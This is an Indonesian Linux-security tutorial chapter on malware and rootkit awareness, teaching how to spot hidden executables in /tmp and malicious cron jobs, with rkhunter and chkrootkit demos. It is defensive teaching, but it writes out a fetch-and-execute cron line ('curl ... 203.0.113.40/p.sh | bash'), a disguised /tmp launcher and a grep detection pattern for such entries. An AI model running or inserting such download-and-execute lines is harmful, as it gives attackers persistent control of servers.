Malware dan Rootkit Awareness

“Linux bebas virus” — kalimat itu didengungkan bertahun-tahun sampai terdengar seperti jaminan, padahal ia hanya pengamatan yang setengah benar. Server Linux menggerakkan sebagian besar web dan cloud, dan karena itu pula penyusup profesional memburunya: mencuri CPU untuk menambang kripto, merekrutnya menjadi botnet, atau menjadikannya pijakan lompatan ke jaringan lain. Bentuknya memang berbeda dari malware Windows yang penuh pop-up — hampir tak terlihat, itulah sasarannya. Chapter ini membedah mitosnya secara jujur, memetakan ancaman yang nyata, lalu melatih mata mendeteksi dua tanda yang paling sering muncul: file executable di /tmp dan entri cron yang mencurigakan.

Membedah Mitos “Linux Bebas Virus” #

Mitos ini hidup karena dua kenyataan yang dibaca berlebihan. Pertama, pangsa desktop Linux kecil sehingga pembuat malware massal — yang mencari korban sebanyak mungkin dengan usaha minim — lebih suka menarget Windows. Kedua, model izin Linux memang lebih rapat: program tidak otomatis berjalan sebagai admin, dan menginstall perangkat lunak lewat repository yang dikurasi mengurangi pintu masuk klasik. Keduanya benar, tetapi keduanya bukan kekebalan.

Yang sering terlupa: mayoritas server web, DNS, dan perangkat IoT berjalan Linux, dan penyusup tahu itu. Malware Linux modern jarang menyebar lewat lampiran surel seperti virus desktop — malware Linux masuk lewat pintu layanan yang lemah: kredensial SSH yang gampang ditebak (kita bahas pertahanannya di Chapter SSH Hardening ), service lama tanpa patch, atau container yang portnya menghadap publik. Jadi ancamannya bukan tidak ada; ancamannya hanya pindah dari desktop ke server, dan dari virus pamer ke malware senyap.

Empat Ancaman yang Nyata #

Dua baris pertama menyerang mesin; dua terakhir menyerang manusia di depan mesin. Cryptominer adalah kasus paling sering dijumpai di server produksi: penyerang tidak perlu merusak apa pun — cukup meminjam CPU dan listrik kita untuk menambang koin, dan sistem tampak “hanya lemot”. Rootkit lebih berbahaya karena tujuannya menyembunyikan kehadiran: versi userland mengganti program seperti ps dan ls dengan versi yang menyembunyikan file serta proses tertentu, sedangkan versi kernel memuat module ke dalam kernel sehingga daftar proses itu sendiri sudah dimanipulasi di sumbernya.

Tanda-Tanda Awal di Sistem #

Deteksi paling awal justru gratis: kebiasaan aneh yang menonjol dari kebiasaan sehat. Empat yang paling sering memperlihatkan masalah: load CPU tinggi tanpa pekerjaan yang kita kenal (cek dengan top atau uptime), entri cron yang tidak kita tulis, file executable di folder yang seharusnya hanya berisi data sementara, dan socket yang mendengarkan di port yang tidak kita kenal (ss -tlnp). Variasi paling kasat mata dari gejala pertama adalah fork bomb — satu baris yang memerintahkan shell memperbanyak dirinya tanpa henti sampai tabel proses penuh; load average-nya menembus angka ratusan dalam hitungan detik. Dua tanda di tengah daftar itu kita latih dengan peraga berikut — dua lainnya cukup latihan membaca keluaran biasa.

Folder /tmp adalah contoh sempurna: karena semua user boleh menulis ke sana, folder ini menjadi tempat pembuangan payload favorit. Kita buat miniatur /tmp yang sehat bercampur satu yang mencurigakan:

mkdir -p tmp-curiga
printf 'data sesi aplikasi\n' > tmp-curiga/sessi-9f3a.cache
printf 'penyangga unduhan\n' > tmp-curiga/unduhan.part
printf '#!/bin/sh\nexec /tmp/.kworkerds/w\n' > tmp-curiga/.pembantu-sistem
chmod 755 tmp-curiga/.pembantu-sistem
echo '== isi /tmp, termasuk file tersembunyi =='
ls -a tmp-curiga
echo '== file yang punya bit executable =='
find tmp-curiga -type f -perm /111

Output yang Dihasilkan:

== isi /tmp, termasuk file tersembunyi ==
.
..
.pembantu-sistem
sessi-9f3a.cache
unduhan.part
== file yang punya bit executable ==
tmp-curiga/.pembantu-sistem

Mari kita bedah peraga di atas:

1. Baris 1-4: dua file pertama adalah wajah /tmp yang sehat — data sementara seperti sesi aplikasi dan unduhan setengah jadi, bukan program. File ketiga menyamar sebagai “pembantu sistem” dengan titik di depannya agar tersembunyi dari ls biasa.
2. Baris 5 (chmod 755 ...): memberi tiga bit executable — tandanya file ini dimaksudkan untuk dijalankan, bukan dibaca. Data tidak butuh bit ini.
3. Baris 6-7 (ls -a): tanpa opsi -a, file berawalan titik tidak ditampilkan — itulah sebabnya penyamar memakainya. Dengan -a, .pembantu-sistem muncul di antara . dan ...
4. Baris 8-9 (find tmp-curiga -type f -perm /111): menyaring hanya file biasa yang memiliki setidaknya satu bit eksekusi (/111 berarti “salah satu dari user, group, atau other boleh mengeksekusi”). Satu-satunya yang lolos adalah file misterius itu — tepat seperti yang dicurigai. Karena semua user boleh menulis ke /tmp, sebagian admin menambah opsi noexec saat me-mount-nya agar program dari sana tidak bisa dijalankan langsung — opsi mount yang kita bahas pada Chapter Mount Configuration .

Tanda kedua favorit penyusup adalah cron: menulis satu baris dan biarkan sistem menjalankannya tiap sepuluh menit selamanya. Kita bedakan entri yang sehat dari yang menyusup:

mkdir -p cron-curiga
printf '25 6 * * * /usr/bin/rsync -a /data /backup\n' > cron-curiga/budi
printf '*/10 * * * * curl -s 203.0.113.40/p.sh | bash\n' > cron-curiga/root
echo '== isi direktori crontab =='
ls -1 cron-curiga
echo '== entri yang mengunduh lalu langsung menjalankan =='
grep -Er 'curl|wget' cron-curiga/ | grep -F '|'

Output yang Dihasilkan:

== isi direktori crontab ==
budi
root
== entri yang mengunduh lalu langsung menjalankan ==
cron-curiga/root:*/10 * * * * curl -s 203.0.113.40/p.sh | bash

Bedah peraganya:

1. Baris 2 (crontab budi): wajah entri yang sehat — program dengan path absolut, jadwal masuk akal, tugasnya jelas: backup pagi.
2. Baris 3 (crontab root): pola klasik tingkat lanjut — setiap 10 menit, curl mengunduh script dari alamat IP mentah lalu langsung menyalurkannya ke bash tanpa disimpan dan tanpa diperiksa. Jadwal rapat seperti ini adalah beacon: memastikan payload tetap hidup meski kita menghapus file hasilnya.
3. Baris 4-5 (ls -1): di sistem sungguhan direktori ini adalah /var/spool/cron/crontabs/ (Debian/Ubuntu) atau /etc/cron.d/ — daftar pertama yang layak diperiksa saat mencurigai penyusup.
4. Baris 6-7 (grep -Er 'curl|wget' ... | grep -F '|'): menyaring entri yang mengunduh, lalu yang di dalamnya ada tanda pipa — kombinasi “unduh lalu langsung eksekusi” yang hampir tidak pernah sah di cron.

Memindai dengan rkhunter dan chkrootkit #

Mata telanjang perlu ditemani kamus. rkhunter (Rootkit Hunter) memeriksa tanda-tangan rootkit yang dikenal, membandingkan checksum program penting seperti ps dan ls dengan basis data, dan menyisir file tersembunyi di tempat-tempat ganjil. chkrootkit melakukan hal serupa dengan pendekatan lebih ringkas: menyapu indikator string rootkit populer dan mencari ketidakcocokan antara daftar proses ps dengan isi /proc. Keduanya dijalankan dari akun root; berikut contoh tampilan hasil rkhunter --check pada sistem yang bersih namun penuh laporan positif-palsu:

[ Rootkit Hunter version 1.4.6 ]
Checking system commands...
  Performing file properties checks                           [ OK ]

Checking for rootkits...
  Adore rootkit                                               [ Not found ]
  KBeast rootkit                                              [ Not found ]
  Checking for hidden files and directories                   [ Warning ]
    /dev/.initctl

System checks summary
=====================
  No known rootkits were found.

Dua hal perlu dibaca dengan kepala dingin. Ringkasan akhirnya bersih — tidak ada rootkit yang dikenal — dan Warning pada file tersembunyi di /dev umumnya positif-palsu: direktori perangkat memang berisi file titik yang sah, dan rkhunter sengaja melaporkannya agar manusia yang memutuskan. Pelajaran umumnya berlaku untuk semua pemindai: peringatan adalah pertanyaan, bukan vonis. Untuk file yang dicurigai pengguna — unduhan, lampiran, arsip — clamav mengisi tempat yang ditinggalkan kedua alat itu: pemindai antivirus serbaguna dengan basis data yang rutin diperbarui, dijalankan dengan clamscan -r direktori/.

Pencegahan yang Jauh Lebih Ampuh #

Deteksi adalah lapisan terakhir; mencegah jauh lebih murah. Pasang perangkat lunak dari repository distribusi yang dikurasi — apt pada Debian — dan perlakukan curl ... | bash dari situs acak sebagai pintu terbuka ke ruang mesin. Verifikasi unduhan dengan checksum: situs yang serius menyertakan sha256 rilisnya, dan sha256sum -c membuktikan file yang kita terima identik dengan yang mereka rilis — teknik yang sudah kita latih pada Chapter File Integrity . Jangan bekerja harian sebagai root, perbarui sistem rutin lewat Chapter Security Updates , dan simpan backup di luar jangkauan mesin itu sendiri. Pemindai chapter ini pun paling bermanfaat bila dijadwalkan berkala, berdampingan dengan audit log dari chapter sebelumnya.

Ancaman dikenal, tandanya dilatih, alat pemindainya dipahami beserta batasnya. Melengkapi semuanya, chapter penutup section ini merangkai seluruh pertahanan — dari instalasi minimal hingga kernel parameter — menjadi satu checklist hardening yang bisa dijalankan berkala.

Referensi lanjut: rkhunter(8) untuk seluruh opsi pemeriksaannya, chkrootkit(8) untuk penggunaannya di Debian, serta tim keamanan Debian untuk pembacaan ancaman yang dikurasi per distribusi.